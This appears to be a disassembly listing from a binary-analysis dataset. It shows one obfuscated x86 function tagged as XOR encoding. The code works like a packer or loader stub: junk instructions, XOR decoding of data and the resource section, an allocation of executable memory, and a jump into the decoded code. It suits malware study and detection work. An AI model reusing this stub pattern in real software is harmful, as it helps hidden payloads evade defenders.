Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2e381a7f
add esi, eax
add esi, esi
not eax
popal
add eax, 0xf52953ba
add esi, esi
mov esi, 0x8a6b65d3
mov esi, 0
mov edx, eax
sub ecx, edi
not edi
mov ebx, edx
mov ecx, 0x917d5a7b
and edi, ecx
mov eax, ebx
inc edi
mov edi, ecx
add esi, 1
add ecx, ecx
and edi, edi
add edi, edi
cmp esi, 0x100b44a
jne 0xa789cb
and edi, edi
add ecx, 0x1d93e8ce
not esi
dec esi
sub eax, 1
mov edx, 0xa78796
add eax, eax
mov ebx, esi
add ebx, 0xc9f2a18e
mov edi, 0xa7898a
and eax, eax
add esi, esi
mov ecx, dword [edx]
mov ebx, esi
sub ebx, esi
add esi, eax
and ecx, 0xff
sub esi, ebx
sub eax, esi
xor dword [edi], ecx
add eax, esi
sub eax, 0xb4cfd0e9
add ebx, 0xfef179ab
add edi, 1
mov esi, 0x8b3f7246
sub eax, ebx
add edx, 1
or eax, ebx
add eax, esi
cmp edi, entry0
jl 0xa78a20
dec eax
and esi, ebx
sub eax, ebx
sub esi, 0x8241d3a4
sub ebx, esi
add ecx, ecx
mov esi, ebx
mov esi, edi
mov edx, 0xa7898e
inc ebx
not edi
mov edx, dword [edx]
add edi, 0x788a8934
sub esi, 0x4456fc67
mov edx, dword [edx]
sub edi, 0x9bb6e829
add edi, ecx
push edx
mov edi, ecx
or ebx, ecx
mov edx, 0xa7898a
add edi, 0xa421ea03
sub ebx, 0x9e67ab53
mov ebx, 0x4a22df01
mov edx, dword [edx]
add ecx, 0xab6186fd
mov edi, ebx
mov edx, dword [edx]
add esi, ecx
add ecx, esi
add edi, 0x8d9f3583
push 0xa78992
or ecx, ebx
mov ebx, esi
add edi, ecx
call edx
mov ecx, ebx
sub edi, ebx
pop edx
dec ebx
and edi, ebx
push 0xa7899f
and esi, ebx
or edi, ecx
push eax
sub esi, edi
sub esi, 1
call edx
and edi, esi
dec ebx
mov esi, 0xd204e0d4
push 0x40
mov esi, ecx
dec ecx
sub ebx, esi
push 0x3000
and esi, edi
inc edi
push 0x2000086e
mov edi, esi
inc ebx
add ebx, 0x872f7a36
push 0
or ebx, esi
add edi, 0x2c2e424c
call eax
dec ebx
mov edi, ecx
add eax, 0x200007ae
not ecx
add ebx, edi
mov edx, 0x802cced5
and esi, esi
add ebx, 1
mov dword [eax], edx
or ecx, edi
sub ebx, ecx
mov edx, dword [eax]
add esi, ecx
sub ebx, 0x5b367f19
add ebx, ebx
cmp edx, 0x802cced5
je 0xa78b64
mov edx, 0
mov cl, byte [edx]
and ecx, ebx
sub ebx, 0xff1136f0
sub edi, 0x2aad6e66
not ecx
sub ecx, 1
and esi, eax
sub eax, esi
sub esi, 0x4e0bdf26
mov ecx, section..rsrc
not esi
or eax, eax
mov edi, 0xa78795
add esi, esi
add esi, 1
sub eax, esi
mov edx, 0
mov eax, esi
mov eax, esi
mov eax, esi
mov ebx, 0xa78796
add esi, eax
sub eax, esi
lea ebx, [ebx + edx]
mov eax, esi
or eax, esi
add eax, esi
mov ebx, dword [ebx]
sub eax, 1
add eax, eax
inc eax
and ebx, 0xff
mov esi, 0xfb95ed78
sub esi, eax
and esi, esi
inc edx
mov esi, eax
inc esi
cmp edx, 0x1f4
jne 0xa78be4
mov edx, 0
sub eax, esi
sub eax, 0xfe2d0c53
add esi, 0x3340531b
sub eax, 0x628f2cf9
dec eax
dec esi
xor dword [ecx], ebx
add eax, eax
or eax, esi
inc eax
add ecx, 2
or esi, esi
sub esi, 0xa09ab4b9
and esi, eax
cmp ecx, edi
jl 0xa78ba7
dec eax
sub eax, esi
or esi, esi
add eax, eax
add esi, esi
mov eax, section..rsrc
sub ecx, 0xb458b2ce
sub ecx, edx
mov esi, section..rsrc
mov edx, 0x5b494c6e
add ecx, 0x49c6c865
mov edi, 0xa78795
and ecx, edx
add edx, 0xe6f81c21
inc edx
mov ebx, 0
not ecx
mov edx, ecx
mov bl, byte [esi]
or ecx, edx
mov edx, ecx
sub edx, ecx
mov byte [eax], bl
dec edx
mov edx, 0xa87bc09
and ecx, edx
inc eax
sub ecx, 1
or edx, ecx
add edx, 0x5ab7718b
add esi, 2
mov edx, 0xf731f98a
add edx, ecx
cmp esi, edi
jle 0xa78c56
or edx, edx
or edx, ecx
or edx, ecx
add esi, eax
sub eax, esi
push 0x8dc6a0
add eax, 1
sub esi, 0x4e679664
mov esi, eax
ret